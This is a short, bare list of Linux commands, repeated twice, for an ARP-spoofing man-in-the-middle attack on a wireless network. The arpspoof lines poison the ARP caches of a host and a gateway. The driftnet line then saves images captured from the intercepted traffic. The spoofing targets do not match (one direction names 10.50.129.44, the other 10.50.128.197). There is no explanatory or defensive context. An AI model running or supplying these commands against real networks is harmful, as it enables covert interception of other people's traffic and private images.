linux arpspoof commands
arpspoof -i wlan0 -t 10.50.129.44 10.50.128.1
arpspoof -i wlan0 -t 10.50.128.1 10.50.128.197
mkdir tmp_pics
driftnet -i wlan0 -d tmp_pics
arpspoof -i wlan0 -t 10.50.129.44 10.50.128.1
arpspoof -i wlan0 -t 10.50.128.1 10.50.128.197
mkdir tmp_pics
driftnet -i wlan0 -d tmp_pics